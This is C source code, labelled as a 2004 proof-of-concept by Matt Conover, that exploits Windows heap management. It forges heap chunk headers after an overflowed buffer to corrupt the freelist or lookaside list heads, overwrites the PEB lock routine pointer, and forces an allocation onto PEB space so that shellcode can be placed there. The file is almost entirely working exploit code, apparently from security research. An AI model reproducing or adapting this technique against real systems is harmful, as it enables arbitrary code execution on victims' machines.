// Proof-of-concept code heap exploit code
// Written by Matt Conover in December 2004
#include "heap.h"
#include "util.h"
#include "shellcode.h"

#if defined(USE_FREELIST_LISTHEAD_OVERWRITE) && defined(USE_LOOKASIDE_LISTHEAD_OVERWRITE)
#error "You cannot define both USE_FREELIST and USE_LOOKASIDE at the same time"
#endif

#if defined(USE_FREELIST_LISTHEAD_OVERWRITE) || defined(USE_LOOKASIDE_LISTHEAD_OVERWRITE)

BYTE *DoListHeadOverwrite(HEAP *pHeap)
{
	BYTE *HeapBase = (BYTE *)pHeap;
	BYTE *FirstFreeList = HeapBase + FREELIST_OFFSET;
	BYTE *FirstLookaside = HeapBase + LOOKASIDE_OFFSET;
	BYTE *pSource, *p;
	HEAP_FREE_ENTRY *chunk;

#ifdef USE_LOOKASIDE_LISTHEAD_OVERWRITE
	printf("Using Lookaside list head overwrite technique\n\n");
#else 
	printf("Using FreeList list head overwrite technique\n\n");
#endif

	/////////////////////////////////////////////////////////////////////////////////
	// OVERWRITE 1 (overwrite PEB_LOCK_ROUTINE with address of PEB_SPACE)
	// 
	// NOTE: this step must be done before copy the shellcode into PEB_SPACE, because
	// otherwise the first 8 bytes of the shellcode at PEB_SPACE will be overwritten
	/////////////////////////////////////////////////////////////////////////////////
		
	printf("=== OVERWRITE 1\n\n");
	pSource = GetChunk(pHeap, ALLOC_SIZE);
	assert(pSource);
	memset(pSource, 0x01, ALLOC_SIZE);

	// NOTE: this has to be done AFTER we get pSource (the one we'll overflow)
	// or else pSource will take a free chunk of the lookaside list, and the
	// lookaside list has to be full for this to work
	printf("Filling lookaside before OVERWRITE 1\n");
	FillLookasideList(pHeap, ALLOC_SIZE);

	//printf("=== BEFORE OVERFLOW\n");
	//DumpLookasideLists(stdout, pHeap); putchar('\n');
	//DumpFreeLists(stdout, pHeap); putchar('\n');

	
	chunk = (HEAP_FREE_ENTRY *)(pSource+ALLOC_SIZE);
	chunk->PreviousSize = 0;
	chunk->Size = 0; // as small as possible
	chunk->Flags = HEAP_ENTRY_SETTABLE_FLAG1;
	chunk->SegmentIndex = 63; // between 1-63
	chunk->Index = 8; // shouldn't matter
	chunk->Mask = 1; // shouldn't matter
#ifdef USE_LOOKASIDE_LISTHEAD_OVERWRITE
	chunk->FreeList.Blink = (LIST_ENTRY *)(PEB_LOCK_ROUTINE);
#else // USE_FREELIST_LISTHEAD_OVERWRITE
	chunk->FreeList.Blink = (LIST_ENTRY *)(PEB_LOCK_ROUTINE);
#endif // USE_FREELIST_LISTHEAD_OVERWRITE
	chunk->FreeList.Flink = (LIST_ENTRY *)PEB_SPACE;

	printf("Overwriting PEB_LOCK_ROUTINE to point to PEB_SPACE\n");
	HeapFree(pHeap, 0, pSource);
	assert(*(DWORD *)PEB_LOCK_ROUTINE == PEB_SPACE);

#ifdef USE_FREELIST
	// We do this to ensure free list is used, because if there are any free entries
	// in the lookaside, they will take precedence over the free list
	printf("Emptying lookaside after OVERWRITE 1\n");
	EmptyLookasideList(pHeap, ALLOC_SIZE);
#endif

	/////////////////////////////////////////////////////////////////////////////////
	// OVERWRITE 2 (overwrite list head to point to PEB_SPACE)
	/////////////////////////////////////////////////////////////////////////////////

	printf("\n=== OVERWRITE 2\n\n");
	pSource = GetChunk((HANDLE)pHeap, ALLOC_SIZE2);
	assert(pSource);
	memset(pSource, 0x00, ALLOC_SIZE2);


	// NOTE: this has to be done AFTER we get pSource (the one we'll overflow)
	// or else pSource will take a free chunk of the lookaside list, and the
	// lookaside list has to be full for this to work
	printf("Filling lookaside before OVERWRITE 3\n");
	FillLookasideList(pHeap, ALLOC_SIZE2);

#if 0
	printf("=== BEFORE OVERFLOW\n");
	DumpLookasideLists(stdout, NULL, pHeap);
	putchar('\n');
	DumpFreeLists(stdout, NULL, pHeap);
	putchar('\n');
#endif

	chunk = (HEAP_FREE_ENTRY *)(pSource+ALLOC_SIZE2);
	chunk->PreviousSize = 1;
	chunk->Size = 1; // as small as possible
	chunk->Flags = HEAP_ENTRY_SETTABLE_FLAG1;
	chunk->SegmentIndex = 1; // between 1-63 is ideal
	chunk->Index = 8; // shouldn't matter
	chunk->Mask = 1; // shouldn't matter
#ifdef USE_LOOKASIDE_LISTHEAD_OVERWRITE
	chunk->FreeList.Blink = (LIST_ENTRY *)(FirstLookaside + LOOKASIDE_SIZE*CHUNK_SIZE);
#else // USE_FREELIST_LISTHEAD_OVERWRITE
	chunk->FreeList.Blink = (LIST_ENTRY *)(FirstFreeList + FREELIST_SIZE*CHUNK_SIZE);
#endif // USE_LOOKASIDE_LISTHEAD_OVERWRITE
	chunk->FreeList.Flink = (LIST_ENTRY *)PEB_SPACE;

	//printf("\n*** fake chunk = 0x%08lx\n", chunk);
	//DumpChunk(stdout, NULL, (HEAP_ENTRY *)chunk, FALSE, TRUE, NULL);

	printf("Overwriting ListHead to point to PEB_SPACE\n");
	HeapFree(pHeap, 0, pSource);
	assert(*(DWORD *)(FirstLookaside + LOOKASIDE_SIZE*CHUNK_SIZE) == PEB_SPACE);

#ifdef USE_FREELIST_LISTHEAD_OVERWRITE
	// We do this to ensure free list is used, because if there are any free entries
	// in the lookaside, they will take precedence over the free list
	printf("Emptying lookaside after OVERWRITE 3\n");
	EmptyLookasideList(pHeap, ALLOC_SIZE2);
#endif

	/////////////////////////////////////////////////////////////////////////////////
	// OVERWRITE 3 (overwrite PEB_SPACE with shellcode)
	// NOTE 1: This will allocate from the list head we overwrote in OVERWRITE 3
	// NOTE 2: We don't free this because it will corrupt the shellcode
	/////////////////////////////////////////////////////////////////////////////////

	printf("\n=== OVERWRITE 3\n\n");
	printf("Now allocating chunk of %d bytes (will point to PEB_SPACE)\n", ALLOC_SIZE);
	p = HeapAlloc(pHeap, 0, ALLOC_SIZE);
	assert(p == (BYTE *)PEB_SPACE);
	// DO NOT FREE THIS -- it will corrupt the shellcode
	
	return p;
}

#endif // USE_LOOKASIDE_LISTHEAD_OVERWRITE || USE_FREELIST_LISTHEAD_OVERWRITE